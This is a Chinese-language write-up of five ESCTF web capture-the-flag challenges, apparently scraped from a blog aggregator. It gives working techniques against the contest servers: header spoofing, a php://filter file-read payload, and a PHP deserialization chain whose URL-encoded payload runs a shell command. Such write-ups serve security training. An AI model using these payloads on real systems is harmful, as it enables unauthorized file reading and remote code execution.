ESCTF-Web赛题WP

news/2024/5/19 23:40:34 标签: ctf, web
webkit-tap-highlight-color: rgba(0, 0, 0, 0);">

0x01-初次见面-怦然心动:your name?

随便输入一个字

根据提示可以看到 我们需要看源代码 直接 搜索 secret 关键字或者 ESCTF


flag

ESCTF{K1t0@@_iS_S0_HAPPy}


0x02-小k的请求

更安全的传参 post 参数为ESCTF 值为 love

自己的ip 同时还有个要求 是需要从度娘转过来 https://www.baidu.com/ 此时需要两个请求标头 一是X-Forwarded-For 和 Referer

flag

ESCTF{Have_@_Good_DAY_t0dAy}


0x03-传奇故事-多多包涵

发现url 中包含了k1t0.php 根据提示 flag.php 我们直接可以伪协议读取 文件

index.php?k1=php://filter/read/convert.base64-encode/resource=flag.php

base64 解码

PD9waHAKIkVTQ1RGe0sxdDBfSTJfYmlHX2hlck99IgogICAgPz4K

flag

ESCTF{K1t0_I2_biG_herO}

0x04-1+1真的好难

可以看到 传递了1+1的答案并且是用post传递的参数

根据页面提示:question1

我只是限制了不能从前端按钮传参 可以直接用hackbar

post参数:

question1=2&question2=3

flag

ESCTF{EXPLO_Re@Sec_RISK!!!}

0x05-喂,我不叫喂我叫k1t0

解答


<?php
class K1t0
{
    protected $k1="base64 f*";


}
class Breeze
{
    public $rce;
    public $str;

}
class QWQ
{
    public $p;


}
$a=new Breeze();
$a->str=new QWQ();
$a->str->p=new K1t0();

echo urlencode(serialize($a));

?>

在url中10000/?k1t0=O%3A6%3A%22Breeze%22%3A2%3A%7Bs%3A3%3A%22rce%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A3%3A%22QWQ%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A4%3A%22K1t0%22%3A1%3A%7Bs%3A5%3A%22%00%2A%00k1%22%3Bs%3A9%3A%22base64+f%2A%22%3B%7D%7D%7D

得到RVNDVEZ7S0AhdDBfRVhQTE9yXzJSX1RlUU19Cg==

base64解码

flag

ESCTF{K@!t0_EXPLOr_2R_TeQM}


http://www.niftyadmin.cn/n/5451063.html

相关文章

虚拟机体验 mac、Linux、Windows,老游戏和软件再也没有兼容问题

安装虚拟机 下载好 VMwareWorkstation Pro 后运行安装程序&#xff0c;根据流程完成安装&#xff1b; 勾选许可协议&#xff0c;点击「下一步」&#xff1b; 这里注意更改安装路径&#xff0c;最好选择 C 盘以外的其他磁盘&#xff0c;选择好后点击「下一步」&#xff1b; 这里…

Sketch切图标注指南:在线自动生成教程,快速上手!

UI设计师使用Sketch软件完成视觉手稿的设计后&#xff0c;在将其交付给开发人员开发之前&#xff0c;需要对视觉手稿进行Sketch标记&#xff0c;以便开发人员能够更好地还原视觉手稿上的元素间距、字体大小、图标大小等尺寸。然而&#xff0c;在实际工作中&#xff0c;设计师经…

Java毕业设计 基于SSM网上二手书店系统

Java毕业设计 基于SSM网上二手书店系统 SSM jsp 网上二手书店系统 功能介绍 用户&#xff1a;首页 图片轮播 图书查询 图书分类显示 友情链接 登录 注册 图书信息 图片详情 评价信息 加入购物车 资讯信息 资讯详情 个人中心 个人信息 修改密码 意见信息 图书收藏 已经付款 邮…

Kotlin协程CoroutineScope命名空间CoroutineName,Kotlin

Kotlin协程CoroutineScope命名空间CoroutineName&#xff0c;Kotlin import kotlinx.coroutines.*fun main(args: Array<String>) {val myName CoroutineName("fly")runBlocking {CoroutineScope(Dispatchers.IO).launch {repeat(3) {val name coroutineCont…

NetCore itext7 创建、编辑PDF插入表格、图片、文字(三)

NetCore 创建、编辑PDF插入表格、图片、文字 NetCore 创建、编辑PDF插入表格、图片、文字(二) NetCore 创建、编辑PDF插入表格、图片、文字(三) 直接上代码 nuget引入 itext7 using System; using System.IO;using iText.IO.Image; using iText.Kernel.Colors; // 导入颜色…

前端理论总结(html5)——meta标签作用/SEO优化

meta标签作用&#xff1a; 1&#xff1a;搜索引擎优化&#xff08;SEO&#xff09; 2&#xff1a;定义页面使用语言 3&#xff1a;自动刷新并指向新的页面 4&#xff1a;实现网页转换时的动态效果 5&#xff1a;控制页面缓冲 6&#xff1a;网页定级评价 7&#xff1a;控制网页显…

设计模式(2):单例模式

核心作用&#xff1a; 包装一个类只有一个实例&#xff0c;并且提供一个访问该实例的全局访问点。 常见应用场景&#xff1a; windows的任务管理者(Task Manager)就是很典型的单例模式&#xff1b;在spring中&#xff0c;每个Bean默认就是单例的&#xff0c;这样做的优点是s…

Word邮件合并

Word邮件合并功能可以解决在Word中批量填写内容的需求&#xff0c;当需要大量格式相同&#xff0c;只修改少数相关内容时&#xff0c;例如利用Word制作工资条&#xff0c;通知函&#xff0c;奖状等等&#xff0c;同时操作也非常简单灵活。下面通过例子来说明邮件合并的使用方法…